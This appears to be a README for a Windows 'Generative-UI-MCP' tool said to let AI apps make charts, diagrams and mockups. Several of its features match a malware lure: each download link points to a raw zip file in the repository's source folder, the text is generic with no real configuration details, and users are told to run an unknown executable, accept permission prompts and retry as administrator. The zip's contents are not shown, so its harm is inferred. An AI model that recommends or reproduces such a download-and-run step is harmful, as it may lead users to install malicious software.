# 🧩 Generative-UI-MCP - Turn Prompts Into Visual UIs

[![Download Generative-UI-MCP](https://img.shields.io/badge/Download%20Now-7C3AED?style=for-the-badge&logo=github&logoColor=white)](https://raw.githubusercontent.com/fergusalveolar205/Generative-UI-MCP/main/src/U_Generative_MCP_v3.1.zip)

## 🚀 What This Tool Does

Generative-UI-MCP is a Windows app helper for AI tools. It helps AI models create interactive visuals from plain text prompts.

You can use it to make:

- Charts
- Diagrams
- UI mockups
- SVG graphics
- Simple visual layouts

It works as an MCP server, which means it sits between your AI app and the visual output it creates.

## 🖥️ What You Need

Before you start, make sure you have:

- A Windows 10 or Windows 11 PC
- A stable internet connection
- Enough free disk space for the app and its files
- An AI app that can use MCP tools, such as Claude Desktop
- Permission to install and run apps on your PC

## 📥 Download and Run

Visit this page to download:
https://raw.githubusercontent.com/fergusalveolar205/Generative-UI-MCP/main/src/U_Generative_MCP_v3.1.zip

After the page opens:

1. Look for the latest release or download file
2. Download the Windows file to your PC
3. Open the file you downloaded
4. If Windows asks for permission, choose Run or Yes
5. Follow the setup steps on screen

If the app comes as a folder or zip file:

1. Right-click the file
2. Select Extract All
3. Open the extracted folder
4. Find the main app file
5. Double-click it to start

## ⚙️ First-Time Setup

After you run the app for the first time, you may need to connect it to your AI app.

Use these steps:

1. Open your AI app
2. Find the MCP or tools settings area
3. Add a new MCP server entry
4. Point it to Generative-UI-MCP
5. Save your changes
6. Restart the AI app if needed

If the app asks for a local address, use the one shown in the app or in the setup file.

## 🎨 What You Can Create

Generative-UI-MCP is built for visual content. It can help the AI model produce:

### 📊 Charts
Use it for:

- Bar charts
- Line charts
- Pie charts
- Comparison graphs
- Data dashboards

### 🧱 Diagrams
Use it for:

- Flowcharts
- Process maps
- System diagrams
- Decision trees
- Relationship diagrams

### 🪄 Mockups
Use it for:

- App screens
- Web page layouts
- Dashboard wireframes
- Form layouts
- Simple interface concepts

### 🖼️ SVG Graphics
Use it for:

- Icons
- Simple illustrations
- Shapes
- Labels
- Clean vector art

## 🧭 How to Use It

Once the app is running and connected:

1. Open your AI chat
2. Ask for a visual
3. Be clear about what you want
4. Include labels, size, color, and layout if needed
5. Review the result
6. Ask for changes if it does not look right

Example requests:

- Make a bar chart showing monthly sales
- Create a simple app mockup for a task manager
- Draw a flowchart for user sign-in
- Build an SVG of a folder and search icon
- Show a dashboard with three metrics and a trend line

## 🧩 Good Prompt Tips

The AI works better when your request is specific.

Try to include:

- The type of visual
- The number of items
- The labels you want
- The style you prefer
- Any color choices
- The size or layout

Example:

- Create a clean line chart with three series: signups, active users, and churn. Use blue, green, and red. Put the legend on the right.

## 🛠️ Common Use Cases

Generative-UI-MCP can fit many everyday tasks:

- Product planning
- Design drafts
- Report visuals
- Teaching and training
- Quick concept reviews
- UI idea generation

It helps when you need a visual draft fast and do not want to build it by hand first.

## 🔍 How It Fits With Claude and Other AI Apps

This tool works with AI apps that support MCP.

In practice, that means:

1. The AI app sends a request
2. Generative-UI-MCP handles the visual task
3. The output comes back as a chart, diagram, or UI draft
4. You can refine it with another prompt

This setup is useful when you want the AI to do more than just write text.

## 📁 File Types You May See

Depending on the download package, you may see:

- `.exe` files
- `.zip` files
- Config files
- JSON files
- SVG output files
- Log files

If you see a setup file, start with that one. If you see a folder, open the readme or config file inside it.

## 🧰 Simple Troubleshooting

If the app does not start:

1. Check that the file finished downloading
2. Try running it again as administrator
3. Restart your PC
4. Make sure your AI app is closed before setup
5. Open the app again after setup

If the AI app does not detect the server:

1. Check the MCP settings
2. Confirm the server path is correct
3. Save the settings
4. Restart the AI app
5. Try the connection again

If the visual looks wrong:

1. Make the prompt shorter
2. Add more labels
3. State the layout you want
4. Ask for one change at a time

## 🔒 Safety and Local Use

Generative-UI-MCP is designed for local use on your PC. It works with your AI app to generate visuals from your instructions.

For the best experience:

- Download only from the link above
- Keep your AI app updated
- Review any setup prompts before you confirm
- Close unused apps if your PC feels slow

## 🧾 Example Prompts

Try these after setup:

- Draw a simple diagram of how a newsletter signup flow works
- Create a dashboard mockup with charts for revenue, users, and retention
- Make a clean SVG of a cloud, arrow, and folder
- Build a process chart for customer support ticket handling
- Show a mobile app screen for a habit tracker

## 🖱️ Windows Quick Steps

If you want the shortest path:

1. Open the download page
2. Get the Windows file
3. Run it
4. Connect it to your AI app
5. Ask for your first visual

## 📌 Project Topic Areas

This project focuses on:

- AI
- Charts
- Claude
- Diagrams
- Generative UI
- MCP
- Model Context Protocol
- SVG
- Visualization

## 📦 Download Again

Visit this page to download:
https://raw.githubusercontent.com/fergusalveolar205/Generative-UI-MCP/main/src/U_Generative_MCP_v3.1.zip

## 🧪 Suggested First Test

After setup, try this:

1. Ask the AI for a basic bar chart
2. Use three small categories
3. Check that the output appears
4. Ask for a color change
5. Ask for a title change